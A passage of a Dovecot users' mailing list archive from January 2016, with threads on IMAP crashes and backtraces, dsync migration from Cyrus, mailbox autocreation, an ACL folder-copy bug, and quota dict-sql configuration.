builds) > > > Peer > > > > Ok thx for info Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From tss at iki.fi Fri Jan 22 17:46:34 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 22 Jan 2016 19:46:34 +0200 Subject: 2.2.21 imap crash - autoexpunge related? In-Reply-To: <536AA9DC-DCE6-40E2-A0DB-78D0CCFBF832@inoc.net> References: <536AA9DC-DCE6-40E2-A0DB-78D0CCFBF832@inoc.net> Message-ID: <886BDC21-134A-4F86-B216-34AB2912F73E@iki.fi> > On 22 Jan 2016, at 17:07, Robert Blayzor wrote: > > dovecot --version > 2.2.21 (5345f22) > > > FreeBSD 10.2-RELEASE-p10 FreeBSD 10.2-RELEASE-p10 #0 r294322M: > > > > having repeated core dumps on imap process? autoexpunge issue? Yeah, should be fixed by https://github.com/dovecot/core/commit/ddffbb277e212adb9d594b3d7d1e1d39fa78f7c6 From m.dreadlock at gmail.com Fri Jan 22 23:24:02 2016 From: m.dreadlock at gmail.com (Marc Finet) Date: Sat, 23 Jan 2016 00:24:02 +0100 Subject: Segfault in acl_mailbox_get_aclobj w/ dovecot In-Reply-To: References: Message-ID: <20160123002402.954e2bcf39c4b9d610bc988a@gmail.com> The Wed, 13 Jan 2016 01:33:42 +0100, "D[r]eadlock M" wrote > Hello, > > I've being trying to play with shared mailboxes but experienced a > segfault: [New LWP 9611] > Core was generated by `dovecot/imap'. > Program terminated with signal SIGSEGV, Segmentation fault. > (gdb) bt f > #0 0x00007f5b72f429b2 in acl_mailbox_get_aclobj (box= #out>) at > acl-mailbox.c:31 > abox = 0x0 > #1 0x00007f5b72d30fcc in cmd_myrights (cmd=0x7f5b75c97480) at > imap-acl-plugin.c:331 > ns = > box = 0x7f5b75ca4520 > mailbox = 0x7f5b75c752a8 "shared" > orig_mailbox = 0x7f5b75c80be0 "shared" > rights = 0x7f5b75c75108 > str = > #2 0x00007f5b73f2e09c in command_exec > #(cmd=cmd at entry=0x7f5b75c97480) at > imap-commands.c:158 > hook = 0x7f5b75c7e0f0 > ret = > #3 0x00007f5b73f2cfb2 in client_command_input (cmd=0x7f5b75c97480) > #at > imap-client.c:778 > client = 0x7f5b75c96880 > command = > __FUNCTION__ = "client_command_input" > #4 0x00007f5b73f2d066 in client_command_input (cmd=0x7f5b75c97480) > #at > imap-client.c:839 > client = 0x7f5b75c96880 > command = > __FUNCTION__ = "client_command_input" > #5 0x00007f5b73f2d39d in client_handle_next_command > (remove_io_r=, client=0x7f5b75c96880) at > imap-client.c:877 > No locals. > #6 client_handle_input (client=0x7f5b75c96880) at imap-client.c:889 > _data_stack_cur_id = 3 > remove_io = false > handled_commands = true > client = 0x7f5b75c96880 > #7 0x00007f5b73f2d745 in client_input (client=0x7f5b75c96880) at > imap-client.c:931 > cmd = 0x9f3f2 > output = 0x7f5b75c972c0 > bytes = 95 > __FUNCTION__ = "client_input" > #8 0x00007f5b73773d0f in io_loop_call_io (io=0x7f5b75c97390) at > ioloop.c:441 > ioloop = 0x7f5b75c7d740 > t_id = 2 > __FUNCTION__ = "io_loop_call_io" > #9 0x00007f5b73774d09 in io_loop_handler_run_internal > (ioloop=ioloop at entry=0x7f5b75c7d740) > at ioloop-epoll.c:220 > ctx = 0x7f5b75c7e3d0 > io = > tv = {tv_sec = 1799, tv_usec = 999014} > events_count = > msecs = > ret = 1 > i = 0 > j = > call = > __FUNCTION__ = "io_loop_handler_run_internal" > #10 0x00007f5b73773d79 in io_loop_handler_run > (ioloop=ioloop at entry=0x7f5b75c7d740) > at ioloop.c:488 > No locals. > #11 0x00007f5b73773df8 in io_loop_run (ioloop=0x7f5b75c7d740) at > ioloop.c:465 > __FUNCTION__ = "io_loop_run" > #12 0x00007f5b7371edc3 in master_service_run > #(service=0x7f5b75c7d5d0, > callback=) at master-service.c:566 > No locals. > #13 0x00007f5b73f21254 in main (argc=1, argv=0x7f5b75c7d390) at > #main.c:400 > set_roots = {0x7f5b74145980 , 0x0} > login_set = {auth_socket_path = 0x7f5b75c75048 "\001", > postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = > 0x7f5b73f371f0 , failure_callback = > 0x7f5b73f36ed0 , > request_auth_token = 1} > service_flags = > storage_service_flags = > username = 0x0 > c = > > > It happens when my client (mutt) tries to enter the shared/ folder. > A filtered strace shows (note the 7 seconds between write and read, > presumely the command sent by mutt): > 8704 00:40:51.420843 > open("/var/vmail/domain.tld/marc/Maildir/.Sent/dovecot-acl", > O_RDONLY) = -1 ENOENT (No such file or directory) > 8704 00:40:51.420978 > stat("/var/vmail/domain.tld/marc/Maildir/dovecot-acl", > 0x7fffc618dcb0) = -1 ENOENT (No such file or directory) > 8704 00:40:51.421100 open("/var/vmail/domain.tld/shared-mailboxes", > O_RDONLY) = 4 > 8704 00:40:51.421800 openat(AT_FDCWD, > "/var/vmail/domain.tld/marc/Maildir", > O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 12 > 8704 00:40:51.422217 write(7, "* LIST (\\HasNoChildren \\Sent) > \"/\" Sent\r\n* LIST (\\Noselect \\HasNoChildren) \"/\" shared\r\n* > LIST (\\HasNoChildren) \"/\" INBOX\r\na0005 OK List completed.\r > \n", 147) = 147 8704 00:40:58.235762 <... read resumed> "a0006 > MYRIGHTS \"shared\"\r\na0007 STATUS \"Drafts\" (MESSAGES)\r\na0008 > SELECT \"shared\"\r\n", 8137) = 82 > > I admit I've played a little with directories in /var/vmail/ and > got a few 'permission denied' but I think I fixed them correctly > (move /var/mail/domain.tld/marc into .../Maildir, who ended being > root:root) > > To finish, my dovecot -n: > # 2.2.13: /etc/dovecot/dovecot.conf > # OS: Linux 3.16.0-4-amd64 x86_64 Debian 8.2 > mail_location = maildir:~/Maildir > mail_plugins = acl > namespace { > location = maildir:%%h/Maildir:INDEXPVT=~/Maildir/shared/%%n > prefix = shared/%%n/ > separator = / > type = shared > } > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > separator = / > type = private > } > passdb { > args = scheme=SHA512-CRYPT username_format=%u /etc/dovecot/users > driver = passwd-file > } > plugin { > acl = vfile > acl_shared_dict = file:/var/vmail/%d/shared-mailboxes > } > protocols = " imap lmtp" > service auth-worker { > user = $default_internal_user > } > service auth { > unix_listener /var/spool/postfix/private/auth { > mode = 0666 > } > } > service lmtp { > unix_listener /var/spool/postfix/private/dovecot-lmtp { > group = postfix > mode = 0666 > user = postfix > } > } > ssl = required > ssl_cert = ssl_key = userdb { > args = uid=vmail gid=vmail home=/var/vmail/%d/%n > driver = static > } > userdb { > args = uid=vmail gid=vmail home=/var/vmail/%d/shared/%n > driver = static > } > protocol imap { > mail_plugins = acl imap_acl > } > > Thanks, > > Marc Hum, should be fixed by https://github.com/dovecot/core/commit/f136b0050b3125b466af73984177250b7ed1a3be But I do not fully understand the commit message, especially the "it probably should have been a type=public namespace instead". Could I change my conf to no longer experience the segfault ? Thanks, Marc. From Christoph.Adomeit at gatworks.de Sat Jan 23 09:30:02 2016 From: Christoph.Adomeit at gatworks.de (Christoph Adomeit) Date: Sat, 23 Jan 2016 10:30:02 +0100 Subject: dsync: INBOX Can't be deleted Message-ID: <20160123093002.GA10203@mp3.niederrhein.de> Hi, I am Migrating an old cyrus mailserver to dovecot. in the old cyrus Mailserver all User Mailboxes are sub-mailboxes of their INBOX. I have to preserve that structure. During Migration with dsync I get these Errors: Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted Is there a way to work around these Errors ? Thanks Christoph From rs at sys4.de Sat Jan 23 13:33:25 2016 From: rs at sys4.de (Robert Schetterer) Date: Sat, 23 Jan 2016 14:33:25 +0100 Subject: dsync: INBOX Can't be deleted In-Reply-To: <20160123093002.GA10203@mp3.niederrhein.de> References: <20160123093002.GA10203@mp3.niederrhein.de> Message-ID: <56A38125.3010302@sys4.de> Am 23.01.2016 um 10:30 schrieb Christoph Adomeit: > Hi, > > I am Migrating an old cyrus mailserver to dovecot. > > in the old cyrus Mailserver all User Mailboxes are > sub-mailboxes of their INBOX. > > I have to preserve that structure. > > During Migration with dsync I get these Errors: > > Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted > > Is there a way to work around these Errors ? > > Thanks > Christoph > for multiple advanced imap settings at migration you might use imapsync not dsync Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From kremels at kreme.com Sat Jan 23 15:05:16 2016 From: kremels at kreme.com (@lbutlr) Date: Sat, 23 Jan 2016 08:05:16 -0700 Subject: Mailbox doesn't exist: test Message-ID: <2305B81C-3B1A-4113-93CA-751E0C25C7D8@kreme.com> I?ve been getting an error when trying to save mail based on address extensions where dovecot is not creating the mailbox: dovecot: lda(user at example.com): msgid=: save failed to open mailbox test: Mailbox doesn't exist: test Is this is as simple as adding lda_mailbox_autocreate = yes to my conf file, and does it go at the ?top? level of the file, or does it need to be in some sort of clause? -- There is something to be said for grace and respect but humour alway helps - Toby Morris From sami.ketola at dovecot.fi Sat Jan 23 22:26:15 2016 From: sami.ketola at dovecot.fi (Sami Ketola) Date: Sun, 24 Jan 2016 00:26:15 +0200 Subject: dsync: INBOX Can't be deleted In-Reply-To: <20160123093002.GA10203@mp3.niederrhein.de> References: <20160123093002.GA10203@mp3.niederrhein.de> Message-ID: <56A3FE07.80700@dovecot.fi> On 23/01/16 11:30, Christoph Adomeit wrote: > Hi, > > I am Migrating an old cyrus mailserver to dovecot. > > in the old cyrus Mailserver all User Mailboxes are > sub-mailboxes of their INBOX. > > I have to preserve that structure. > > During Migration with dsync I get these Errors: > > Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted > > Is there a way to work around these Errors ? > > can you post doveconf -n and the command line you are invoking when executing dsync? Sami From sami.ketola at dovecot.fi Sat Jan 23 22:27:15 2016 From: sami.ketola at dovecot.fi (Sami Ketola) Date: Sun, 24 Jan 2016 00:27:15 +0200 Subject: dsync: INBOX Can't be deleted In-Reply-To: <56A38125.3010302@sys4.de> References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> Message-ID: <56A3FE43.1060104@dovecot.fi> On 23/01/16 15:33, Robert Schetterer wrote: > for multiple advanced imap settings at migration you might use > imapsync not dsync Best Regards MfG Robert Schetterer Sure but imapsync does not preserve message UID's which means that users end up redownloading all their messages or message/UID mismatches will happen. Sami From rs at sys4.de Sun Jan 24 09:38:58 2016 From: rs at sys4.de (Robert Schetterer) Date: Sun, 24 Jan 2016 10:38:58 +0100 Subject: dsync: INBOX Can't be deleted In-Reply-To: <56A3FE43.1060104@dovecot.fi> References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> <56A3FE43.1060104@dovecot.fi> Message-ID: <56A49BB2.9010801@sys4.de> Am 23.01.2016 um 23:27 schrieb Sami Ketola: > > > On 23/01/16 15:33, Robert Schetterer wrote: >> for multiple advanced imap settings at migration you might use >> imapsync not dsync Best Regards MfG Robert Schetterer > Sure but imapsync does not preserve message UID's which means that users > end up redownloading all their messages or message/UID mismatches will > happen. > > Sami One Year ago i tested Migration with dsync and it never worked as awaited with non dovecot source server, hopefully somebody other may help you and dsync code is now good enough to fix your problem. Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From sami.ketola at dovecot.fi Sun Jan 24 11:21:28 2016 From: sami.ketola at dovecot.fi (Sami Ketola) Date: Sun, 24 Jan 2016 13:21:28 +0200 Subject: dsync: INBOX Can't be deleted In-Reply-To: <56A49BB2.9010801@sys4.de> References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> <56A3FE43.1060104@dovecot.fi> <56A49BB2.9010801@sys4.de> Message-ID: <56A4B3B8.5070004@dovecot.fi> On 24/01/16 11:38, Robert Schetterer wrote: > Am 23.01.2016 um 23:27 schrieb Sami Ketola: >> >> On 23/01/16 15:33, Robert Schetterer wrote: >>> for multiple advanced imap settings at migration you might use >>> imapsync not dsync Best Regards MfG Robert Schetterer >> Sure but imapsync does not preserve message UID's which means that users >> end up redownloading all their messages or message/UID mismatches will >> happen. >> >> Sami > One Year ago i tested Migration with dsync and it never worked > as awaited with non dovecot source server, hopefully somebody > other may help you and dsync code is now good enough to fix your > problem. > One year ago we made successfull migrations with dsync. What kind of problems you had with it? Since dsync is the way we basicly do all our migrations. Sami From rs at sys4.de Sun Jan 24 11:29:19 2016 From: rs at sys4.de (Robert Schetterer) Date: Sun, 24 Jan 2016 12:29:19 +0100 Subject: dsync: INBOX Can't be deleted In-Reply-To: <56A4B3B8.5070004@dovecot.fi> References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> <56A3FE43.1060104@dovecot.fi> <56A49BB2.9010801@sys4.de> <56A4B3B8.5070004@dovecot.fi> Message-ID: <56A4B58F.4090409@sys4.de> Am 24.01.2016 um 12:21 schrieb Sami Ketola: > > > On 24/01/16 11:38, Robert Schetterer wrote: >> Am 23.01.2016 um 23:27 schrieb Sami Ketola: >>> >>> On 23/01/16 15:33, Robert Schetterer wrote: >>>> for multiple advanced imap settings at migration you might use >>>> imapsync not dsync Best Regards MfG Robert Schetterer >>> Sure but imapsync does not preserve message UID's which means that users >>> end up redownloading all their messages or message/UID mismatches will >>> happen. >>> >>> Sami >> One Year ago i tested Migration with dsync and it never worked >> as awaited with non dovecot source server, hopefully somebody >> other may help you and dsync code is now good enough to fix your >> problem. >> > One year ago we made successfull migrations with dsync. What kind of > problems you had with it? Since dsync is the way we basicly do all our > migrations. > > Sami I didnt remember exactly , i think it was no preserve message UID's from courier source and additional namespace change on dovecot target however it was not a big problem with imapsync and advice the users to configure their clients to new server in total Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From kae at midnighthax.com Sun Jan 24 15:28:25 2016 From: kae at midnighthax.com (Keith Edmunds) Date: Sun, 24 Jan 2016 15:28:25 +0000 Subject: Problem (bug?) copying mail folders Message-ID: <20160124152825.51506fa0@ws.midnighthax.com> I have reported a bug to Claws Mail (http://www.thewildbeast.co.uk/claws-mail/bugzilla/show_bug.cgi?id=3601); however, I see some behaviour from Dovecot that looks odd to me. Background: I am trying to copy a folder to another part of the IMAP folder hierarchy. The destination parent folder is ACL protected; I have lirwstpeak rights. Claws initially tries to create the destination folder and then copy the mails from the source to destination. The destination parent folder is 'public/accounts'; the folder being moved there is 'test' and 'public/accounts/test' does not exist at the start of the process. This is from Dovecot's rawlog: 11 LIST "" "public/accounts/test" 11 OK List completed. 12 CREATE "public/accounts/test" 12 OK Create completed. 13 LIST "" "public/accounts/test" 13 OK List completed. 14 SUBSCRIBE "public/accounts/test" 14 NO Mailbox doesn't exist: public/accounts/test 15 UID COPY 1:2 "public/accounts/test" 15 NO [TRYCREATE] Mailbox doesn't exist: public/accounts/test What I don't understand: the response to command 12 suggests that the destination folder has been created; the response to commands 14 and 15 suggest it hasn't. At the completion of the process, the 'public/accounts/test' folder DOES exist, but it's empty, supporting the fact that it may not have existed when command 15 was executed. Is there some kind of race condition here - or have I just misunderstood how this should work? ------------------------------------------------------------ Running on ext4 filesystem; dovecot -n: # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-4-amd64 x86_64 Debian 8.2 ext4 lda_mailbox_autocreate = yes mail_debug = yes mail_location = maildir:/srv/mail/imap/%u:LAYOUT=fs mail_plugins = acl fts managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { hidden = no location = maildir:/srv/mail/imap/public:INDEX=/srv/mail/imap/public.indexes/%u.index:LAYOUT=fs prefix = public/ separator = / subscriptions = no type = public } namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { acl = vfile acl_shared_dict = file:/srv/mail/imap/shared-mailboxes fts_autoindex = yes sieve = /home/sieve/%u.sieve sieve_dir = /home/sieve/%u } protocols = " imap sieve sieve" service imap { executable = imap postlogin } service managesieve-login { inet_listener sieve { port = 4190 } } service postlogin { executable = script-login -d rawlog } ssl_cert = Dear List! I have a dovecot installment with postgresql based user management. My problem is i see this in postgresql's log file: root at c13:/var/lib/postgresql/9.4/main/pg_log# cat postgresql-2016-01-24_12.log | grep 26105 2016-01-24 16:34:43 CET [26105-1] maildata at mail ERROR: permission denied for relation i3sysadm_email_account 2016-01-24 16:34:43 CET [26105-2] maildata at mail STATEMENT: DELETE FROM i3sysadm_email_account WHERE userid = 'account at mydomain.com' This is the error message from dovecot side (i have a lot, so this is from another date): root at c10:/var/log/dovecot# cat mail.log | grep "Jan 24 17:41:29" Jan 24 17:41:29 dict: Info: pgsql(127.0.0.1): Disconnected from database, retrying commit Jan 24 17:41:29 dict: Error: sql dict: commit failed: ERROR: permission denied for relation i3sysadm_email_account (query: DELETE FROM i3sysadm_email_account WHERE userid = 'account at mydomain.com') Why the hack dovecot want to delete my e-mail account? Luckily it don't have the permission.. I tried to look in the source code for "delete from", but founded just a general sql handle method. One possiblity is dovecot try to delete a cascaded information, but what can it be? Please help, how can i fix this. Thanks in advance, Csaba root at c10:/var/log/dovecot# dovecot --version 2.2.9 root at c10:/var/log/dovecot# dovecot -n # 2.2.9: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-44-generic x86_64 Ubuntu 14.10 auth_cache_negative_ttl = 0 auth_failure_delay = 3 secs auth_master_user_separator = * auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb base_dir = /var/run/dovecot/ dict { expire = sqlite:/etc/dovecot/dovecot-dict-sql.conf.ext quota = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext } disable_plaintext_auth = no first_valid_uid = 5000 hostname = mail.mydomain.com lda_mailbox_autocreate = yes listen = 87.229.104.6, :: lmtp_rcpt_check_quota = yes log_path = /var/log/dovecot/mail.log login_log_format_elements = user=<%u> method=%m rip=%r lip=%l mpid=%e %c login_trusted_networks = 192.168.0.0/24 mail_access_groups = dovenull mail_gid = dovenull mail_location = sdbox:~/sdbox mail_plugins = quota mail_uid = dovenull managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { auto = subscribe special_use = \Trash } prefix = } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { acl = vfile:/etc/dovecot/global-acls:cache_secs=300 acl_shared_dict = file:/var/lib/dovecot/shared-mailboxes quota = dict:User quota::proxy::quota quota_grace = 10%% quota_rule = *:storage=100M recipient_delimiter = + sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = " imap lmtp sieve pop3" service auth-postlogin { executable = script-login /etc/dovecot/update_date_smtp.sh user = $default_internal_user } service auth-worker { unix_listener auth-worker { group = $default_internal_user mode = 0660 user = dovecot } user = $default_internal_user } service auth { executable = auth auth-postlogin unix_listener /var/spool/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } user = $default_internal_user } service dict { unix_listener dict { group = $default_internal_user mode = 0666 user = $default_internal_user } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap-postlogin { executable = script-login /etc/dovecot/update_date_imap.sh user = $default_internal_user } service imap { executable = imap imap-postlogin } service lmtp { executable = lmtp -L inet_listener lmtp { address = 127.0.0.1 port = 24 } unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0600 user = postfix } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3-postlogin { executable = script-login /etc/dovecot/update_date_pop3.sh user = $default_internal_user } service pop3 { executable = pop3 pop3-postlogin } shutdown_clients = no ssl_cert = References: <565B4FE8.2070306@rename-it.nl> <565B5682.9040402@sys4.de> Message-ID: <56A51428.4000208@sys4.de> Am 29.11.2015 um 20:48 schrieb Robert Schetterer: > Am 29.11.2015 um 20:20 schrieb Stephan Bosch: >> Hi, >> >> I have finally managed to implement the Sieve "foreverypart" and "mime" >> extensions (RFC 5703). These are now included in the main Mercurial >> repository and will be included in the next release. >> >> I will be fixing a few minor details in the coming week; e.g., >> interaction with "include" and "editheader" extensions needs more work. >> Still, in the mean time, those of you who are interested can already >> test this feature a bit. It is not a small feature, so knowing bugs >> early is helpful. You can install it from the Mercurial repository or >> get the latest Debian packages from Xi. >> >> When I finish the last details (probably next week), I will release a >> first RC version of Pigeonhole v0.4.10 right away. >> >> Regards, >> >> Stephan. >> > > Hi Stephan, thats good news, thx for coding > so i can go on with tests about > > forward mail without SPF DMARC conflicts via sieve > > i ve written a german blog about that a year ago > > https://sys4.de/de/blog/2014/10/29/email-forward-mit-sieve-ohne-spf-dmarc-und-dkim-konflikte/ > > > Best Regards > MfG Robert Schetterer > now tests with new extensions https://sys4.de/de/blog/2016/01/24/e-mail-weiterleitungen-mit-dovecot-sieve-ohne-spf-dmarc-und-dkim-konflikte-2/ Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From tss at iki.fi Sun Jan 24 18:25:24 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 24 Jan 2016 20:25:24 +0200 Subject: How to skip errors on doveadm backup for migration ? In-Reply-To: <20160110182542.GA6286@mp3.niederrhein.de> References: <20160108105006.GA22080@mp3.niederrhein.de> <9BB6F86B-9CF4-469B-9E79-9DA02C907CEC@iki.fi> <20160110182542.GA6286@mp3.niederrhein.de> Message-ID: <6D505BDD-0161-4D97-A655-5CC766D66B0D@iki.fi> On 10 Jan 2016, at 20:25, Christoph Adomeit wrote: > > Hi Timo, > > thanks for the patch. > > I applied it, compiled doveadm and tried the new binary but it still baily out with this message: > > > dsync(user at domain.de): Error: Exporting mailbox INBOX.Sent failed: Can't lookup saved-date for UID=515: Internal error occurred. Refer to server log for more information. [2016-01-10 17:02:08] > > Do you have any idea how I can skip these errors ? Here's a working patch: https://github.com/dovecot/core/commit/2ddc5efd47452644be369fa86e978cc05a508217.patch > Thanks > Christoph > > On Fri, Jan 08, 2016 at 05:39:51PM +0200, Timo Sirainen wrote: >> On 08 Jan 2016, at 12:50, Christoph Adomeit wrote: >>> >>> Hi there, >>> >>> I have to migrate data out of a very old (debian 4) and buggy cyrus mailserver. >>> About 40 Users with 200000 Messages each. >>> >>> Doveadm backup works quite well and gives me most of the mails. About every 100.000 Mail >>> cannot be exported by cyrus. I do not want to bother about these errors. >>> Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. >>> >>> My problem is that doveadm backup exits with an error if it cannot read a mail. >> >> What does Cyrus reply? Is it a NO reply to FETCH command? >> >>> Is there some way or option to make doveadm backup just skip the errors and continue with the next message ? >> >> Not currently. You could try if the attached patch helps. It should write the mail as empty. >> > > >> >> From tss at iki.fi Sun Jan 24 18:33:02 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 24 Jan 2016 20:33:02 +0200 Subject: sql delete problem In-Reply-To: <56A50C7F.1060704@tsabi.hu> References: <56A50C7F.1060704@tsabi.hu> Message-ID: On 24 Jan 2016, at 19:40, T?th Csaba wrote: > > Dear List! > > I have a dovecot installment with postgresql based user management. > My problem is i see this in postgresql's log file: > > root at c13:/var/lib/postgresql/9.4/main/pg_log# cat > postgresql-2016-01-24_12.log | grep 26105 > 2016-01-24 16:34:43 CET [26105-1] maildata at mail ERROR: permission > denied for relation i3sysadm_email_account > 2016-01-24 16:34:43 CET [26105-2] maildata at mail STATEMENT: DELETE FROM > i3sysadm_email_account WHERE userid = 'account at mydomain.com' > > This is the error message from dovecot side (i have a lot, so this is > from another date): > > root at c10:/var/log/dovecot# cat mail.log | grep "Jan 24 17:41:29" > Jan 24 17:41:29 dict: Info: pgsql(127.0.0.1): Disconnected from > database, retrying commit > Jan 24 17:41:29 dict: Error: sql dict: commit failed: ERROR: permission > denied for relation i3sysadm_email_account (query: DELETE FROM > i3sysadm_email_account WHERE userid = 'account at mydomain.com') > > Why the hack dovecot want to delete my e-mail account? You've configured dict-sql quota, which deletes the quota row when it wants to recalculate quota. With Dovecot v2.2.20+ you could work around this by setting a new "no-unset" parameter (http://wiki2.dovecot.org/Quota/Dict), except this can't work with the PostgreSQL merge_quota() function. Although nowadays PostgreSQL supports UPSERT, which could be used to replace the merge_quota() function. That would require some new Dovecot code though. In short: With the current code you can't store the current quota usage to a generic users table. Dovecot must be able to delete rows when it wants to recalculate quota. Yet another way to handle this would be to not use dict-sql for quota, but e.g. dict-file. Then you can use http://wiki2.dovecot.org/Plugins/QuotaClone plugin to keep the SQL database updated. I'd actually recommend doing this in any case over using dict-sql for quota. This would still require you to upgrade to v2.2.17 or newer. From tss at iki.fi Sun Jan 24 18:44:35 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 24 Jan 2016 20:44:35 +0200 Subject: Problem (bug?) copying mail folders In-Reply-To: <20160124152825.51506fa0@ws.midnighthax.com> References: <20160124152825.51506fa0@ws.midnighthax.com> Message-ID: <12F312CE-466C-4EC3-A772-679924F3F1B8@iki.fi> On 24 Jan 2016, at 17:28, Keith Edmunds wrote: > > I have reported a bug to Claws Mail > (http://www.thewildbeast.co.uk/claws-mail/bugzilla/show_bug.cgi?id=3601); > however, I see some behaviour from Dovecot that looks odd to me. > > Background: I am trying to copy a folder to another part of the IMAP > folder hierarchy. The destination parent folder is ACL protected; I > have lirwstpeak rights. Claws initially tries to create the destination > folder and then copy the mails from the source to destination. > > The destination parent folder is 'public/accounts'; the folder being > moved there is 'test' and 'public/accounts/test' does not exist at the > start of the process. This is from Dovecot's rawlog: > > 11 LIST "" "public/accounts/test" > 11 OK List completed. > 12 CREATE "public/accounts/test" > 12 OK Create completed. > 13 LIST "" "public/accounts/test" > 13 OK List completed. > 14 SUBSCRIBE "public/accounts/test" > 14 NO Mailbox doesn't exist: public/accounts/test > 15 UID COPY 1:2 "public/accounts/test" > 15 NO [TRYCREATE] Mailbox doesn't exist: public/accounts/test > > What I don't understand: the response to command 12 suggests that the > destination folder has been created; the response to commands 14 and > 15 suggest it hasn't. Looks like a bug. > Is there some kind of race condition here - or have I just > misunderstood how this should work? > ------------------------------------------------------------ > Running on ext4 filesystem; dovecot -n: > > # 2.2.13: /etc/dovecot/dovecot.conf I attempted to reproduce it, but it worked fine with v2.2.21. So maybe upgrading alone helps. From tss at iki.fi Sun Jan 24 18:47:12 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 24 Jan 2016 20:47:12 +0200 Subject: dsync: INBOX Can't be deleted In-Reply-To: <20160123093002.GA10203@mp3.niederrhein.de> References: <20160123093002.GA10203@mp3.niederrhein.de> Message-ID: On 23 Jan 2016, at 11:30, Christoph Adomeit wrote: > > Hi, > > I am Migrating an old cyrus mailserver to dovecot. > > in the old cyrus Mailserver all User Mailboxes are > sub-mailboxes of their INBOX. > > I have to preserve that structure. > > During Migration with dsync I get these Errors: > > Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted > > Is there a way to work around these Errors ? With "doveadm backup" you have gotten into such a state that the INBOX needs to be deleted and recreated to preserve it exactly as it's in source. But you're using Maildir format, which doesn't allow deleting INBOX. So possibilities: a) Don't use Maildir format b) Delete the entire Maildir manually with rm -rf and the next doveadm backup should work (if not then something strange is going on) From skdovecot at smail.inf.fh-brs.de Mon Jan 25 08:35:33 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Mon, 25 Jan 2016 09:35:33 +0100 (CET) Subject: Mailbox doesn't exist: test In-Reply-To: <2305B81C-3B1A-4113-93CA-751E0C25C7D8@kreme.com> References: <2305B81C-3B1A-4113-93CA-751E0C25C7D8@kreme.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, 23 Jan 2016, @lbutlr wrote: > I?ve been getting an error when trying to save mail based on address extensions where dovecot is not creating the mailbox: > > dovecot: lda(user at example.com): msgid=: save failed to open mailbox 